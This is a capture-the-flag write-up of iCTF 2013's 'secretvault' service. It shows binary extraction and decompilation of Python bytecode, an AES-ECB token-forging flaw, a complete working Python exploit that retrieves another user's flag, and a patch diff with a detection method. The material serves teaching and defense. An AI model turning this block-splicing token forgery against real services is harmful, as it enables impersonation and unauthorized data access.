Rogdham

iCTF secretvault write up

Overview

The second edition of iCTF 2013 was similar to the first one: each team has to keep some services running, while finding and fixing vulnerabilities in those services as well as writing exploits exploiting the vulnerabilities found.

This article focuses on the “secretvault” service. It is composed of a secretvault executable, as well as many .so libraries. From the name of those libraries (e.g. libpython2.7.so.1.0), we are already guessing that it has something to do with Python 2.7.

Binary analysis

A quick look into that executable files with IDA will be enough: the tree of function calls is quite clear. There are lots of errors handling parts, with a big hint in the middle:

Block diagram with IDA: INITSCRIPT_ZIP_FILE_NAME

It seems that the executable is doing nothing but setting up a Python environment by using some zipped files. But no .zip files were present in the directory, so they are likely to be somewhere in the executable itself.

So let's look for zip parts in the executable by searching for the magic number PK\x03\x04 (with the superb dhex program):

Looking for the zip magic number

There seems to be lots of places matching that magic number in the binary file, so let's take the one that looks promising (with __main__.pyc in it) by cutting the binary at that position, and trying to extract the file obtained:

$ file secretvault_part secretvault_part: Zip archive data, at least v2.0 to extract $ unzip secretvault_part -d out -*- SNIP -*- SNIP -*- SNIP -*- SNIP -*- SNIP -*- SNIP -*- $ ls out _abcoll.pyc hashlib.pyc sre_compile.pyc abc.pyc heapq.pyc sre_constants.pyc atexit.pyc hmac.pyc sre_parse.pyc base64.pyc httplib.pyc ssl.pyc bdb.pyc inspect.pyc stat.pyc bisect.pyc io.pyc string.pyc calendar.pyc keyword.pyc _strptime.pyc cmd.pyc linecache.pyc struct.pyc codecs.pyc locale.pyc subprocess.pyc collections.pyc logging tarfile.pyc copy.pyc __main__.pyc tempfile.pyc copy_reg.pyc mimetools.pyc textwrap.pyc ctypes mimetypes.pyc _threading_local.pyc cx_Freeze__init__.pyc multiprocessing threading.pyc difflib.pyc opcode.pyc tokenize.pyc dis.pyc optparse.pyc token.pyc distutils os.pyc traceback.pyc doctest.pyc pdb.pyc types.pyc dummy_threading.pyc pickle.pyc unittest dummy_thread.pyc posixpath.pyc urllib.pyc email pprint.pyc urlparse.pyc encodings py_compile.pyc uu.pyc fnmatch.pyc quopri.pyc warnings.pyc ftplib.pyc random.pyc weakref.pyc functools.pyc repr.pyc _weakrefset.pyc genericpath.pyc re.pyc xml getopt.pyc rfc822.pyc xmllib.pyc getpass.pyc shlex.pyc xmlrpclib.pyc gettext.pyc shutil.pyc zipfile.pyc gzip.pyc socket.pyc

So we have a lot of .pyc files here, most of them being the usual libraries, but again, __main__.pyc is probably the one we are looking for. Once more, I'm using uncompyle to get the Python code back.

Protocol analysis

This is the easy part: we have the source code of the application, we just have to analyse it in order to understand how the application is working.

As for any services of the iCTF, this application implements a TCP server with its own application protocol. Going through the code gives the protocol:

  1. Server sends user|pass:
  2. Client sends a user and password
  3. Server performs authentication:
    • if user is unknown, store corresponding password and allow access
    • else, check password against the user password and kill the connection if they differ
  4. Server sends a token E(< date || user || CHALLENGE>, key), where date is the current date (year, month, day, hour and minute), user is the user sent previously by the client, and key is a secret key generated when the application is started
  5. Server sends cookie,command:
  6. Clients sends a token together with a command
  7. Server decrypts the token, checks that it has a valid format and that date is still the current date, and if everything is right, performs the command
  8. Go back to point 5

What are the commands you ask? Several are available, but the only one we are interesting in is retv secret, which retrieves the flag for the corresponding user. Indeed, our aim is to get that flag, and our exploit has to take as argument the user we want the flag of. Here is the problem:

Well, that's not totally true: a closer look at the application shows that the flag would be retrieved for the user included in the token sent in step 6, and not the one sent in step 2. So we could send a fresh random user in step 2, and still get the flag of the user we are interested. Now the problem is that we can not get access to the key, so we can not create a token for any user.

But get closer to the source code, and you may find the problem right away… Here is the code to decrypt the token and extract the user:

# b64_c is the base64-encoded token received by the server c = base64.b64decode(b64_c) aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB) m = aes.decrypt(c) print 'm=', print m fields = m.split('|') year = int(fields[0]) month = int(fields[1]) day = int(fields[2]) hour = int(fields[3]) minute = int(fields[4]) user = fields[5] user = user.strip() if not safe_string(user): raise Exception('Invalid Username') return '' else: if 'CHALLENGE' not in fields[6]: raise Exception('Invalid Token') return '' print 'mfields=', print fields ts = datetime.datetime(year, month, day, hour, minute) t = datetime.datetime.now() d = t - ts if d > datetime.timedelta(seconds=120): print 'expired' raise Exception('Expired') return '' # execute the command

ECB strikes back

Yes, AES in used in ECB mode. I've already written that if you are using ECB, you are doing it wrong, explaining how frequency analysis could be used to recover some information about the plaintext.

But here, it's even worse! In step 4, the server is encrypting whatever we want! See by yourself:

# user is received from the client t = datetime.datetime.now() plain_token = '%d|%d|%d|%d|%d|%s|CHALLENGE' % (t.year, t.month, t.day, t.hour, t.minute, user) l1 = len('%d|%d|%d|%d|%d|' % (t.year, t.month, t.day, t.hour, t.minute)) padded_plain_token = ' ' * (32 - l1) + plain_token l = len(padded_plain_token) padded_plain_token = padded_plain_token + ' ' * (16 - l % 16) aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB) enc_token = aes.encrypt(padded_plain_token) b64_token = base64.b64encode(enc_token) # b64_token is send to the client

We only have a few limitations:

An other problem we have to cope with to leverage the ECB mode is alignment: ECB mode is working by encrypting each block separately (with AES, each block is 16 bytes long). But luckily enough1, the user part is aligned by the server: all what is before is padded to be exactly 32 bits. How convenient!

There are many ways to exploit that flaw, as we can really get anything encrypted (making several requests if needed). The simplest is probably to add 16 random characters before the user, and remove the corresponding block from the received token. Here is a simplified diagram describing the attack working on an example:

Plan of the attack

With everything we have, the attack is quite simple:

  1. Add 16 random2 bytes before the user we want to recover the flag of
  2. Connect to the server, create an account3 with that crafted user and get the corresponding token
  3. Remove the extra block from the token to have a valid token for the user we are interested in
  4. Get the flag using that token

And here is the Python code to do so, formatted to comply with the rules of iCTF:

import random import base64 from socket import socket class Exploit(): def execute(self, ip, port, flag_id): self.s = socket() self.s.connect((ip, port)) # add a random block before the username user = Exploit.get_random_str(16) + flag_id # get the token assert self.recv_until(':') == 'user|pass' self.s.send('%s|RogdhamWasHere' % user) tok = self.recv_until('\n') # remove the extra block tok = base64.b64decode(tok) tok = tok[:32] + tok[48:] tok = base64.b64encode(tok) # send command assert self.recv_until(':') == 'cookie,command' self.s.send('%s,retv secret' % tok) # get secret self.flag = self.recv_until('\n') def result(self): return {'FLAG' : self.flag} @staticmethod def get_random_str(l): out = '' while len(out) < l: out += random.choice(map(chr, range(97, 123))) return out def recv_until(self, until): out = '' while True: c = self.s.recv(1) if c == until: return out out += c

Fixing the flaw, detecting attacks

To fix the vulnerability in a quick and ugly way, it is enough to check that the user we obtain from the token is the one that was successfully authenticated before. Here is the diff:

136c136 < def parse_command(msg): --- > def parse_command(msg, check_user): 159c159 < if not safe_string(user): --- > if not safe_string(user) or user != check_user: 279c279 < out = parse_command(data) --- > out = parse_command(data, user)

Also, detecting attacks should be easy: when user != check_user in the test above, we know that we have an attack and it is enough to report the time, IPs and ports involved so that the user can mark the corresponding connection in the iCTF interface.

Conclusion

This challenge was quite interesting, involving a little bit of binary analysis, Python code analysis, and some understanding of cryptography. Thanks to the iCTF team for the organisation, and of course to A Finite Number Of Monkeys for letting me join them once more.

  1. Well, that would not have been a real problem, as the retrieved users is striped of whitespaces, so we could have use the same methodology, the only change to make would be aligning the user using whitespaces.
  2. To make sure to pass the .isalnum() sanitization, I am only using [a-z] letters.
  3. Because the first 16 bytes of the user are random, we are very likely to have a new user.

This article is released under the CC BY-SA licence.

Short URL: https://r.rogdham.net/22.